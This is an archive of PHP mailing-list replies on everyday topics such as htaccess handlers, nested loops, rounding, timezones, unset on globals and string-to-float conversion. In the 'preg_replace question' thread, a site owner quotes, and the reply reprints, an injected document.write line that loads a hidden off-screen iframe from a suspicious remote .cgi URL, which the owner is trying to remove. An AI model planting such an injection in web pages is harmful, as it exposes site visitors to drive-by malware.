Re: [PHP] Friday's Question

2013-09-20 Thread Simon J Welsh
On 21/09/2013, at 4:51, Tedd Sperling  wrote:

> Hi gang:
> 
> Do you use a Mousepad?
> 
> My reason for asking is that I've used a Mousepad ever since mice first came 
> out (back when they had one ball).
> 
> Now that mice are optical (no balls), Mousepads are not really needed -- or 
> so I'll told by the college -- you see, they don't provide Mousepads for 
> their student's computers.
> 
> As such, I wondered what's the percentage of programmers still using a 
> Mousepad?
> 
> Secondly, are Mousepads used primarily by older programmers (like me) while 
> younger programmers don't use Mousepads, or what?
> 
> So -- please respond with:
> 
> Age: *
> Mousepad: Yes/No
> 
> Thank you,

22 and I entirely use trackpads (inbuilt or bluetooth Magic Trackpad).
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] htaccess

2013-07-07 Thread Simon J Welsh
On 8/07/2013, at 8:06, Tedd Sperling  wrote:

> Hi gang:
> 
> I have a client who has an account with GoDaddy (I know).
> 
> GoDaddy says they have PHP v 5.3 installed on the client's account, but 
> phpinfo() says different, namely it reports 5.2.17.
> 
> After calling GoDaddy, they said the client has an htaccess file that makes 
> everything 5.2 instead of 5.3.
> 
> Now, I'm not an expert on these things and the reason why I am asking here, 
> but here are the two htaccess files I find at root level:
> 
> 1. Named: .htaccess.bak_hosting_company_Apache24_compatibility_fix
> 
> Options +ExecCGI
> AddType application/x-httpd-php .php .htm .html
> AddHandler x-httpd-php5-cgi .php .htm .html
> # AddHandler php5-script .php .html
> # AddHandler x-httpd-php5 .php .html
> ErrorDocument 404 /404.html
> ErrorDocument 403 /403.html
> 
> AND
> 
> 2. Named: .htacess
> 
> # The below FilesMatch stanza was added by your
> #  hosting provider on 2013-06-27 11:05:33
> #  to resolve a potential Apache 2.4
> #  compatibility issue with your custom AddHandler(s)
> #  for PHP.  If you feel this was in error, please
> #  contact support and we will work to resolve the
> #  issue.  Thanks!
> 
>  Options +ExecCGI
> 
> 
> Options +ExecCGI
> AddType application/x-httpd-php .php .htm .html
> AddHandler x-httpd-php5-cgi .php .htm .html
> 
> 
> Does anyone see a problem here?
> 
> OR -- a way to get PHP to version 5.3?
> 
> Cheers,
> 
> tedd

I don’t use GoDaddy, so this may not be entirely accurate.

I’m guessing that it’s these two lines in .htaccess:
AddType application/x-httpd-php .php .htm .html
AddHandler x-httpd-php5-cgi .php .htm .html
They’re changing the handler from PHP files from the default ones to 
x-httpd-php5-cgi, which would cause PHP 5.2 to be used instead. Try commenting 
out these two lines.

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Nested loopa

2012-12-25 Thread Simon J Welsh
On 26/12/2012, at 1:21 PM, Ken Arck  wrote:
> So I cannot do nested do loops in php?
> 
>  $a = 0 ;
> $b =  0 ;
> do {
>   echo "$a\n" ;
>  do {
>   echo "$b\n" ;
>$b++
>   }while($b <=10) ;
>$a++;
> }while($a <= 20) ;
> ?>


You can, though you're never resetting the value of $b in the outer loop, so 
the inner loop will only run once each time after the first run of the outer.
---
Simon Welsh
Admin of http://simon.geek.nz/



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2012-12-12 Thread Simon J Welsh
On 13/12/2012, at 10:08 AM, Curtis Maurand  wrote:
> On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote:
>> On 12-12-2012 21:10, Curtis Maurand wrote:
>>> On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 17:11, Curtis Maurand wrote:
 
 First of all, why do you want to use preg_replace when you're not
 actually using regular expressions??? Use str_replace or stri_replace
 instead.
 
 Aside from that, escapeshellarg() escapes strings for use in shell
 execution. Perl Regexps are not shell commands. It's like using
 mysqli_real_escape_string() to escape arguments for URLs. That doesn't
 compute, just like your way doesn't either.
 
 If you DO wish to escape arguments for a regular expression, use
 preg_quote instead, that's what it's there for. But first, reconsider
 using preg_replace, since I honestly don't think you need it at all if
 the way you've posted
 (preg_replace(escapeshellarg($string),$replacement)) is the way you
 want to use it.
>>> Thanks for your response.  I'm open to to using str_replace.  no issue
>>> there.  my main question was how to properly get a string of javascript
>>> into a string that could then be processed.  I'm not sure I can just put
>>> that in quotes and have it work.There are colons, "<",">",
>>> semicolons, and doublequotes.  Do I just need to rifle through the
>>> string and escape the reserved characters or is there a function for that?
>>> 
>>> --C
>> 
>> Why do you want to escape them? There are no reserved characters in the case 
>> of str_replace. You don't have to put anything in quotes. For example:
>> 
>> $string = 'This is a > characters'
>> echo str_replace('supposedly', 'imaginary', $string)
>> would return:
>> This is a > 
>> So... why do you want to "escape" these characters?
>> 
> So what about things like quotes within the string or semi-colons, colons and 
> slashes?  Don't these need to be escaped when you're loading a string into a 
> variable?
> 
> ;document.write(' style="width:100px;height:100px;position:absolute;left:-100px;top:0;" 
> src="http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');
> 
> I need to enclose this entire string and replace it with ""
> 
> Thanks


The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = <<<'STRING'
;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');
STRING;
---
Simon Welsh
Admin of http://simon.geek.nz/



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] A string question

2012-09-28 Thread Simon J Welsh
On 29/09/2012, at 1:29 AM, Chris Payne  wrote:

> Hi there everyone,
> 
> I basically have the following code, which grabs the 3 numbers to the right:
> 
> $input = "250705023";
> 
> $resta = substr($input, -3, 3);
> 
> Then I manipulate them a little, but my question is - how, once i've used
> them to create different values - can I put them back in the original
> string at the same location?
> 
> Got me a bit confused.
> 
> Chris



One way: $input = substr($input, 0, -3) . $resta;
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Here's my rounding

2012-09-27 Thread Simon J Welsh
On 28/09/2012, at 6:08 PM, Chris Payne  wrote:

> $test2 = '253177';
> echo $tes2 . " rounded to: ";
> $rounded_number = round($test2,-3);
> echo $rounded_number;
> 
> Is it SUPPOSED to happy a number is sent to this little system and it's
> SUPPOSED to round the number up.  So if the number was 144035 the system
> should look at it and say "Hey uo,
> we need to round this up"  So basicially I need it to convert in
> thousands.  Even if the total is a fraction over it still needs to ne
> calculated as the next thousand up.
> 
> Sprru of o'm confusing you, i'm very tired.  So basically, just make the
> last 4 numbers always round up.  255000 would be correct - 255590 would
> beINSORERECT as it should display 255600.
> 
> Hope that helped someone to help me :-)
> 
> xxx
> Chris


I would use something similar to $rounded_number = ceil($test2/1000)*1000;
---
Simon Welsh
Admin of http://simon.geek.nz/


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Expected behaviour or bug?

2012-09-17 Thread Simon J Welsh

On 17/09/2012, at 8:50 PM, Camilo Sperberg  wrote:

> Hello list, I have a little question with PHP's internal working. I've 
> managed to reduce the test to the following lines:
> 
> $globalVariable = 'i am a global variable';
> function testFunction() {
>   global $globalVariable;
>   unset($globalVariable);
> }
> 
> testFunction();
> 
> if(isset($globalVariable)) {
>   var_dump('global variable IS set');
> } else {
>   var_dump('global variable is NOT set');
> }
> 
> 
> 
> When executing the above test, you will get printed that the global variable 
> is set, despite unsetting it in the function. Is it really the intention to 
> unset a global variable inside a function locally or have I just happen to 
> found a little bug?
> 
> unreal4u-MBP:~ unreal4u$ php --version
> PHP 5.3.13 with Suhosin-Patch (cli) (built: Jun 20 2012 17:05:20) 
> Copyright (c) 1997-2012 The PHP Group
> Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
>with Xdebug v2.3.0dev, Copyright (c) 2002-2012, by Derick Rethans
> 
> If it is expected behavior, is there any documentation on why this is done 
> this way?
> 
> Greetings and thanks.


That's expected, as per http://nz.php.net/unset:
"If a globalized variable is unset() inside of a function, only the local 
variable is destroyed. The variable in the calling environment will retain the 
same value as before unset() was called."
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Mac 10.7 Install/Copy fresh PHP over Pre-Installed PHP

2012-07-31 Thread Simon J Welsh
On 31/07/2012, at 10:54 PM, Jason Pruim  wrote:
> On Jul 30, 2012, at 12:01 PM, "JeffPGMT"  wrote:
> 
>> Thanks All, now I have to tell the business owner to let the IT guy update 
>> to 10.8 if he likes, which will buy me time to sort out all of what you 
>> folks contributed.
>> 
>> I wasn't aware that Mamp free installed anything more than basic and Yes, 
>> setup so that Apache, MySql and PHP work well together was what I had wanted 
>> to learn using the stock install and was able to do w/exception of imap 
>> being available.
>> 
>> Perhaps I will install XCode as it's the law of worst case probably will 
>> occur if I don't, that is I'll need it in a pinch later on.
>> 
>> JeffPGMT...
>> 
> 
> Hey Jeff,
> 
> Unless its changed in mt lion, you will need to install Xcode to use make or 
> any other program assembler...
> O

You can download just the command line tools from 
https://developer.apple.com/downloads, which is ~100 MB instead of a couple of 
gigs. Has been like this for some time now. You just have to be careful with 
some older code not compiling properly with LLVM.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] What's happened to our newsgroup?

2012-06-26 Thread Simon J Welsh

On 27/06/2012, at 9:45 AM, Daniel Brown wrote:

> On Tue, Jun 26, 2012 at 5:42 PM, Matijn Woudt  wrote:
>> 
>> Isn't everyday friday in summer? ;)
> 
>If it is, then it could be argued that every day is a Monday in
> winter --- and right now, those poor folks in the southern hemisphere
> (I'm looking at you, Thiago Pojda) are in a season of endless Mondays.
> 
> -- 
> 


So glad I take Mondays off then.
---
Simon Welsh
Admin of http://simon.geek.nz/


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] errors not showing

2012-05-19 Thread Simon J Welsh
On 20/05/2012, at 3:55 PM, Tim Dunphy wrote:

> hello, list!
> 
> I have 'error_reporting = E_ALL' set in my php.ini file. However when
> I run a php script that has errors in it all that happens is that the
> page WSODs. I am running Mac OS X 10.6. Any thoughts on why errors
> don't show up in the browser and how to correct this?
> 
> 
> Thanks
> Tim

You also need to set display_errors to On.
---
Simon Welsh
Admin of http://simon.geek.nz/


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] date() confustion

2012-04-25 Thread Simon J Welsh
On 26/04/2012, at 4:40 PM, Nathan Nobbe wrote:

> Hi everyone,
> 
> Does anybody know what might influence the output of the date() function
> besides date.timezone setting?
> 
> Running through some code in an app I'm working on, I have this code:
> 
> $timestamp = time();
> $mysqlDatetime = date("Y-m-d G:i:s", $timestamp);
> 
> Logging these values yields:
> 
> INSERT TIMESTAMP:  1335414561
> INSERT DATE TIME:  2012-04-26 4:29:21
> 
> But then from the interactive interpreter on the same box (same php.ini as
> well):
> 
> php > echo date("Y-m-d G:i:s", 1335414561);
> 2012-04-25 22:29:21
> 
> I get this same output from another random computer of mine and I've
> verified date.timezone is consistent in both environments.
> 
> Something's going on in the first case, but I'm unsure what; any ideas?
> 
> Your help appreciated as always.
> 
> -nathan


A call to date_default_timezone_set() during execution can change the timezone. 
If you add echo date_default_timezone_get(); just before this, does it give the 
same output as your date.timezone setting?

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Parse errors

2012-03-18 Thread Simon J Welsh
On 19/03/2012, at 6:32 AM, Tim Streater wrote:

> After recently omitting a semicolon from the end of a statement, and having 
> the result be a JavaScript error in an odd place, I'm trying to pin down just 
> what PHP does with such errors. I made a small test script to run at CLI, 
> which does some echoes and then, after that, I miss out a semicolon. On the 
> command line, all I get is the parse error message with line number.
> 
> The script where I'd left the semicolon out of my production code is reached 
> via AJAX, and sends some results back. It consists of a number of functions, 
> then the main code appears, starting with two requires. The first such 
> included file has some functions, puts out a header and does an echo, and 
> calls set_error_handler. It's in the second included file that the semicolon 
> is missed off (inside yet another function).
> 
> I would have expected that the results sent back would just consist of the 
> Parse error: message, but for some reason the echo done in the first included 
> file shows up as well (this is important as it frames the parse error message 
> for me).
> 
> Is this the expected behaviour? The doc for set_error_handler says you can't 
> use it to recover from E_PARSE and the like, and the function I supply to it 
> doesn't appear to be called. I was just surprised that the initial echo 
> statement's output made it back to the JavaScript side.
> 
> (I obviously don't expect to have parse errors show up in production, but 
> having them nicely visible and logged during testing is useful)
> 
> --
> Cheers  --  Tim

This is expected. The error doesn't occur to the second file is included, so 
everything in the first included file is parsed and run before execution is 
halted.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Long Live GOTO

2012-02-06 Thread Simon J Welsh

On 7/02/2012, at 9:44 AM, Marco Behnke wrote:

> Am 06.02.12 17:23, schrieb Alain Williams:
>> However: a few GOTOs can make things clearer. Think of a function that
>> can fail in several different places (eg data validation, ...). But it
>> is reading a file which needs to be closed before the function
>> returns. I have seen code where some $IsError variable is tested in
>> many places to see if things should be done. That is just as bad as
>> lots of GOTO -- often when having to write something like that I will
>> have a GOTO (in 
> 
> Good code uses Exceptions and try catch for that kind of scenarios.

Exceptions have a lot of overhead and should only be used in exceptional 
circumstances. I don't see how data validation failing is an exceptional 
circumstance.

I find that using Exceptions and try/catch for something this trivial to be 
more confusing and harder to read (thus worse code) than a goto. It is also 
much easier to make a mistake, especially if you're expecting the catching to 
happen outside of the validation function.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Time zone in date function

2012-01-30 Thread Simon J Welsh
On 31/01/2012, at 2:55 PM, Ron Piggott wrote:

> 
> On my clients account when I use “echo date(‘D, d M Y H:i:s');” the output is 
> 5 hours ahead of us.  How do I change it to my local time?  Is there a way to 
> specify “Eastern” time zone?
> 
> I expect this would work:
> 
> echo date(‘D, d M Y H:i:s' , ( strtotime( date(‘D, d M Y H:i:s') – 21600  ) ) 
> );
> 
> I would prefer to specify Eastern time, so if the web host changes a server 
> setting it will remain in Eastern time zone.  Ron
> 
> 
> Ron Piggott


You can set the timezone for your script using date_default_timezone_set() 
http://php.net/manual/en/function.date-default-timezone-set.php
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Numeric help needed

2012-01-15 Thread Simon J Welsh
On 16/01/2012, at 2:48 PM, Chris Payne wrote:

> Hi Jason,
> 
> I've tried lots of different things, including:
> 
> echo "" . round(68500, 1000) . " ROUNDED";
> 
> thinking that might be it, but i'm stumped
> 
> This is the example I was given (And have to go by):
> 
> "If the loan amount is $68500.00, the insurace will be based on
> $69000.00 as the amount is always rounded up to the next $1000."
> 
> Maybe i'm just looking at it wrong but i'm stumped.
> 
> Chris


The round() function only rounds decimal values. You can use this to emulate 
rounding to a near power of ten by dividing, rounding, then multiplying again. 
i.e. echo "" . round(68500/1000) * 1000 . " ROUNDED";
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Numeric help needed

2012-01-15 Thread Christopher J Payne
Hi everyone,

 

I am having a hard time with a numerical problem.

 

I need to round some numbers up and I've tried $round($number) and it
doesn't work so I'm misunderstanding something.

 

For example, if a user inputs 685000 I need it to round up to 69 or if
they input 149560 I need it to round up to 15.  What is the correct way
to do this as everything I have tried doesn't seem to affect the user
inputted figure at all.

 

Anyway help would REALLY be appreciated, I'm sure it's really simple but for
the life of me I'm stumped on why it's not working.

 

Chris



Re: [PHP] Non required argument

2012-01-06 Thread Simon J Welsh
On 7/01/2012, at 2:13 PM, Donovan Brooke wrote:

> Hello,
> 
> I have a simple function that contains an argument that is not required, ie:
> 
> function list_formvars($pmatch) {...
> 
> 
> However, if I call the function without the argument, I get a warning (I'm 
> having the app show all warnings for development):
> 
> "Warning: Missing argument 1 for list_formvars(), called in ..."
> 
> Though the function works fine, how would I go about then making argument not 
> required. I've tried using an if statement with an isset() condition, but 
> perhaps I don't have the syntax correct?
> 
> Anyway,
> TIA for your comments.
> 
> Donovan
> 
> 
> 
> 
> -- 
> D Brooke

function list_formvars($pmatch=null) {...

http://php.net/manual/en/functions.arguments.php#functions.arguments.default

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Howto detect the hostname of the server?

2011-11-25 Thread Simon J Welsh
On 26/11/2011, at 1:14 PM, Andreas wrote:

> Hi,
> how could I identify the server the script runs on?
> 
> I've got a testserver on Windows and a remote system on Linux that need a 
> couple of different settings like IP and port of db-server or folder to store 
> logfiles.
> 
> I'd like to do something like:
> 
> if ( $_SERVER['some_key'] = 'my_test_box' ) {
>$db_host = '1.1.1.1';
>$db_port = 1234;
> } else {
>$db_host = '2.2.2.2';
>$db_port = 4321;
> }
> 
> 
> I looked into phpinfo() but haven't found anything helpful, yet.
> Have I overlooked something or is there another way to identify the server?


php_uname('n'); http://php.net/php_uname
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] checking dates not working

2011-11-10 Thread Simon J Welsh
On 11/11/2011, at 11:35 AM, Marc Fromm wrote:

> I have this bit of code to see if a date is greater or equal to a set date.
> 
> echo(date("m/d/Y",strtotime($jobs_effective_start)));// displays entered date 
> of 01/03/2012
> echo(date("m/d/Y",strtotime(WSOFFBEGIN))); // displays set date of 09/16/2011
> 
> if (!(date("m/d/Y",strtotime($jobs_effective_start)) >=  
> date("m/d/Y",strtotime(WSOFFBEGIN {
>$error.="The effective start date must be AFTER 
> ".WSOFFBEGIN."\n"; unset($_POST["jobs_effective_start"]);
> }
> 
> My error message is displaying. The if statement is executing as true, as if 
> 01/03/2012 is not greater or equal to 09/16/2011.
> This is not correct since a date in 2012 should be greater than a date in 
> 2011.
> 
> If I use 12/31/2011 as the $job_effective_start date the error message is not 
> displayed since 12/31/2011 is greater than 09/16/2011 and the if statement 
> executes as fasle.
> 
> Any ideas on why a 2012 date is treated as not greater than a 2011 date?
> 
> Thanks
> 
> Marc


String comparisons (which is what is happening here) are done left to right. so 
it's comparing month, then day, then year. You could use a Ymd format or just 
compare the values of strtotime().
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Passing arguments to an internal function via array_map

2011-11-10 Thread Simon J Welsh
On 11/11/2011, at 5:10 AM, Marc Guay wrote:

> Hi folks,
> 
> I'm trying to convert the contents of an array from utf8 to utf16
> (thanks for the headache MS Excel!).  I originally created a "user
> function" that just ran the text through
> mb_convert_encoding($text,'utf-16','utf-8') but now I'm wondering if I
> can't just use the internal function directly.  Apparently it's more
> complicated when the function requires arguments; I see example using
> mysql_real_escape_string() on php.net.
> 
> My current attempt looks like this:
> 
> $clean = array_map('mb_convert_encoding', $dirty_arr, 
> array('utf-16','utf-8'));
> 
> but I believe this is actually passing an array to
> mb_convert_encoding() as the second argument rather than the 2nd and
> 3rd... Any ideas or am I chasing something that can't be done?
> 
> Marc


You need to pass a second and third array to array_map() with the same number 
of elements as the first array. The arguments to the callback function are the 
elements from each array at the same offset.

Something like $clean = array_map('mb_convert_encoding', $dirty_arr, 
array_fill(0, count($dirty_arr), 'utf-16'), array_fill(0, count($dirty_arr), 
'utf-8'));
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP syntax - novice question

2011-10-29 Thread Simon J Welsh
On 30/10/2011, at 1:15 PM, Phil Dobbin wrote:

> Hi, all.
> 
> I’m new to the list & PHP in general & have a syntax question.
> 
> I have a script that calls both DB & MDB2. This is the part of the script 
> where the error occurs:
> 
> 
> 
> if($type == "DB")
>  {
>$db = DB::connect($dsn);
>if (PEAR::isError($db)) { die($db->getMessage()); }
>$db->setFetchMode(DB_FETCHMODE_ASSOC);
>$res = $db->query( 'SELECT * FROM users');
> 
>if (PEAR::isError($res)) {
>  die($res->getMessage());
>}
>echo ‘’;
>while( $res->fetchInto( $row ) ) {
>  print_R($row);
>}
>echo ‘’;
>  } else if($type == "MDB2") {
>$mdb2 =& MDB2::connect($dsn);
>if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); }
> 
>$res = $mdb2->query( 'SELECT * FROM users');
> 
>// Always check that result is not an error
>if (PEAR::isError($res)) {
>  die($res->getMessage());
>}
> 
>echo ‘’;
>while ($row = $res->fetchRow(MDB2_FETCHMODE_ASSOC)) {
>  print_R($row);
>}
>echo ‘’;
>  }
> 
> ###
> 
> The syntax checker calls the first instance ofecho ‘’;   saying 
> unexpected >
> 
> I’m at a loss to understand why...
> 
> I’m using PHP 5.3.8 & PEAR 1.9.4 with MySQL 5.1.59 on Mac OS X 10.6.8.
> 
> Any help appreciated.
> 
> Cheers,
> 
>Phil.

It seems as though your editor has changed the normal quotes around  into 
"pretty" quotes. Change the ‘s and ’s back to '.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] junk from my forms output

2011-10-19 Thread Simon J Welsh

On 20/10/2011, at 10:24 AM, hanson zhou wrote:

> I have the following in a file called "hello.php" in my htdocs directory
> (Apache webroot).
> 
> 
> Your name: 
> Your age: 
> 
> 
> 
> as well as the following in a file "action.php", also in the same directory.
> 
> 
> Hi .
> You are  years old.
> 
> When I click on the submit button of the form in hello.php, it should say
> something like:
> "Hi Hanson.  You are 33 years old."  But instead of just saying that it also
> appends a bunch of junk at the beginning like this:
> 
> {\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0
> Arial;}} {\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\f0\fs20 Hi
> hanson .\par You are 33 years old.\par } �
> 
> Can someone help me with this?  Why does my forms reply from action.php
> contain so much junk?  I have a Windows installation of PHP and Apache.
> 
> thanks,
> -Hanson


You saved action.php as a RTF file rather than a plain text file. Resave it as 
a plain text file.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] move_uploaded_file() does not return any value or warning

2011-10-14 Thread Simon J Welsh
On 15/10/2011, at 4:01 PM, Partha Chowdhury wrote:

> Then i set a check for the return value of move-uploaded_file.
>> if(isset ($move_uploaded_file)):
>>   echo ""success;
>>   else:
>>   echo "error in uploading";
>>   endif;
> But it does not print anything !

Assuming you did $move_uploaded_file = move_uploaded_file($filename, 
$destination);, then isset($move_uploaded_file) will always be true.

isset() just checks if the variable you past to it is set, not if it has a 
non-false value. You could simply use if(move_uploaded_file($filename, 
$destination)), or if($move_uploaded_file).
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Compile PHP with MySQL support

2011-10-13 Thread Simon J Welsh
On 14/10/2011, at 1:27 AM, Nick Khamis wrote:

> Hello Everyone,
> 
> I am trying to compile php from source using the following config:
> 
> ./configure --prefix=/usr/local/php
> --with-apxs2=/usr/local/apache/bin/apxs
> --with-config-file-path=/usr/local/php
> --with-mcrypt=/usr/local/bin/mcrypt --with-mysqli
> --with-gettext=./ext/gettext --with-pear
> --with-libxml-dir=/usr/include/libxml2 --with-zlib --with-gd
> --enable-pcntl
> 
> Note the mysqli without pointing to /usr/local/mysql/bin/mysql_config.
> The problem is MySQL is not installed on the machine, it is actually
> installed on another server.
> 
> MySQLi Suport:
> 
> mysqli
> MysqlI Support  enabled
> Client API library version  5.1.49
> Active Persistent Links 0
> Inactive Persistent Links   0
> Active Links0
> Client API header version   5.1.49
> MYSQLI_SOCKET   /var/run/mysqld/mysqld.sock
> 
> Directive   Local Value Master Value
> mysqli.allow_local_infile   On  On
> mysqli.allow_persistent On  On
> mysqli.default_host no valueno value
> mysqli.default_port 33063306
> mysqli.default_pw   no valueno value
> mysqli.default_socket   no valueno value
> mysqli.default_user no valueno value
> mysqli.max_linksUnlimited   Unlimited
> mysqli.max_persistent   Unlimited   Unlimited
> mysqli.reconnectOff Off
> 
> The machine I compiled PHP on does not have mysqli.so, and so I am
> recieving the "fatal call to undefined function mysql_connect()"
> error. Can someone tell me how to compile php from source with mysql
> support, but actually mysql is installed on a different server?
> 
> Can I download a precompile mysqli anywhere? The PHP version is 5.1.49
> as noted earlier.
> 
> Thanks in Advance,
> 
> Nick


You've only compiled in MySQLi. You also need to pass --with-mysql to 
configure. As you can compile in MySQLi, you should have no problems with MySQL.

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Decoding Barcode Images

2011-10-10 Thread Shaun J. Farrell
zxing has a java commandline app that you can run.. simple to use great results.

http://code.google.com/p/zxing/

Shaun
www.brewerydb.com

On Oct 10, 2011, at 2:47 PM, Matthew Pounsett wrote:

> 
> On 2011-10-10, at 14:42, Floyd Resler wrote:
> 
>> I've been trying to find a solution for decoding barcode images in PHP but 
>> haven't had much luck so far.  Does anyone have any suggestions?
> 
> I'm not familiar with a way to do it directly in PHP, but you could shell out 
> to something like zbar to do it.
> 
> 
> 
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bug #51739 tricky string to float conversion

2011-09-01 Thread Simon J Welsh
On 1/09/2011, at 8:43 PM, magic-...@damage.devloop.de wrote:

> Simon J Welsh writes: 
>> On 1/09/2011, at 9:53 AM, magic-...@damage.devloop.de wrote: 
>>> Am Mittwoch, 31. August 2011, 20:48:37 schrieb Shawn McKenzie:
>>>> On 08/31/2011 09:03 AM, magic-...@damage.devloop.de wrote:
>>>>> var_dump((float)"8315e839da08e2a7afe6dd12ec58245d");
>>>>> results in float(INF)
>>>> The cast to float is truncating the invalid characters and since your
>>>> string contains a float that is INF (8315e839) before the truncation at
>>>> the "d", then it returns INF.  Makes perfect sense.
>>> If I use a string in PHP I don't want PHP to cut this string. Either it 
>>> uses this string as it is or it gives me an error/warning/false (what 
>>> ever...). But silently(!!!) using a small piece of a string is not 
>>> understandable.
>> The manual clearly states this is how a string is converted into a number: 
>> http://php.net/manual/en/language.types.string.php#language.types.string.conversion
>>  "The value is given by the initial portion of the string. If the string 
>> starts with valid numeric data, this will be the value used. Otherwise, the 
>> value will be 0 (zero). Valid numeric data is an optional sign, followed by 
>> one or more digits (optionally containing a decimal point), followed by an 
>> optional exponent. The exponent is an 'e' or 'E' followed by one or more 
>> digits." If you don't want the string turned into a number using the 
>> documented method, don't use it as one.
> 
> Ok, then let's discuss the documented behavior ;-) 
> Do you (not the document) really like this behavior? I mean if I am the only 
> one wondering about that behavior it is ok for me. I just want to help PHP. 
> cheers
> Daniel

Yes, I think the way it works is correct.

It follows similar conversions when changing from a data type that allows more 
data to one that allows less. Similar things happen when converting from a 
floating point to integral value.

It also directly correlates to the C functions for doing the same thing (atof, 
strtod, the like).
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bug #51739 tricky string to float conversion

2011-09-01 Thread Simon J Welsh
On 1/09/2011, at 9:53 AM, magic-...@damage.devloop.de wrote:

> Am Mittwoch, 31. August 2011, 20:48:37 schrieb Shawn McKenzie:
>> On 08/31/2011 09:03 AM, magic-...@damage.devloop.de wrote:
>>> Hi,
>>> I have opend Bug #51739 in 2010. It was closed as bogus before my last
>>> question was answered. It would be fine to know what you think about
>>> that bug.
>>> In short:
>>> var_dump((float)"8315e839da08e2a7afe6dd12ec58245d");
>>> results in float(INF)
>>> This is because "8315" is treated as base and
>>> "e839da08e2a7afe6dd12ec58245d" is treated as an exponent. My hint that
>>> "e839da08e2a7afe6dd12ec58245d" is not a valid exponent was not answered.
>>> What do you think about?
>>> cheers
>>> Daniel
>> 
>> The cast to float is truncating the invalid characters and since your
>> string contains a float that is INF (8315e839) before the truncation at
>> the "d", then it returns INF.  Makes perfect sense.
> 
> This is what drives me crazy.
> 
> If I use a string in PHP I don't want PHP to cut this string. Either it uses 
> this string as it is or it gives me an error/warning/false (what ever...). 
> But 
> silently(!!!) using a small piece of a string is not understandable.
> 
> cheers
> Daniel

The manual clearly states this is how a string is converted into a number: 
http://php.net/manual/en/language.types.string.php#language.types.string.conversion

"The value is given by the initial portion of the string. If the string starts 
with valid numeric data, this will be the value used. Otherwise, the value will 
be 0 (zero). Valid numeric data is an optional sign, followed by one or more 
digits (optionally containing a decimal point), followed by an optional 
exponent. The exponent is an 'e' or 'E' followed by one or more digits."

If you don't want the string turned into a number using the documented method, 
don't use it as one.
---
Simon Welsh
